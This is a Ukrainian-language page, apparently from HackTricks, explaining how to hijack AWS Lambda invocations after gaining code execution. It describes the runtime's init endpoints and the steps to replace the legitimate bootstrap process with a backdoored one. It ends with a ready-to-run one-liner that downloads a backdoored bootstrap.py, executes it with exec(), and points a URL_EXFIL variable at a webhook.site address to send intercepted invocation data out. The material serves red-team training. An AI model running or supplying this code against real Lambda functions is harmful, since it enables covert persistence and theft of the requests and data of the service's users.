AWS - Вкрасти запити Lambda

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Потік Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer - це процес поза контейнером, який надсилає виклики до процесу init.
  2. Процес init слухає на порту 9001, відкриваючи деякі цікаві кінцеві точки:
  • /2018-06-01/runtime/invocation/next – отримати наступну подію виклику
  • /2018-06-01/runtime/invocation/{invoke-id}/response – повернути відповідь обробника для виклику
  • /2018-06-01/runtime/invocation/{invoke-id}/error – повернути помилку виконання
  1. bootstrap.py має цикл, що отримує виклики з процесу init і викликає код користувача для їх обробки (/next).
  2. Нарешті, bootstrap.py надсилає до init відповідь.

Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, яке виконується кодом користувача, насправді відбувається в цьому процесі.

Вкрадання запитів Lambda

Мета цієї атаки - змусити код користувача виконати шкідливий процес bootstrap.py всередині процесу bootstrap.py, який обробляє вразливий запит. Таким чином, шкідливий bootstrap процес почне спілкуватися з процесом init, щоб обробляти запити, поки легітимний bootstrap потрапить у пастку, виконуючи шкідливий, тому він не запитуватиме запити у процесу init.

Це проста задача, оскільки код користувача виконується легітимним процесом bootstrap.py. Тому зловмисник може:

  • Надіслати підроблений результат поточного виклику до процесу init, щоб init думав, що процес bootstrap чекає на більше викликів.
  • Запит має бути надісланий до /${invoke-id}/response
  • invoke-id можна отримати зі стеку легітимного процесу bootstrap.py, використовуючи модуль inspect python (як пропонувалося тут) або просто запитуючи його знову до /2018-06-01/runtime/invocation/next (як пропонувалося тут).
  • Виконати шкідливий boostrap.py, який оброблятиме наступні виклики.
  • Для цілей прихованості можливо надіслати параметри викликів lambda до C2, контрольованого зловмисником, а потім обробляти запити як зазвичай.
  • Для цієї атаки достатньо отримати оригінальний код bootstrap.py з системи або github, додати шкідливий код і запустити його з поточного виклику lambda.

Кроки атаки

  1. Знайти вразливість RCE.
  2. Згенерувати шкідливий bootstrap (наприклад, https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
  3. Виконати шкідливий bootstrap.

Ви можете легко виконати ці дії, запустивши:

bash
python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Для отримання додаткової інформації перевірте https://github.com/carlospolop/lambda_bootstrap_switcher

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks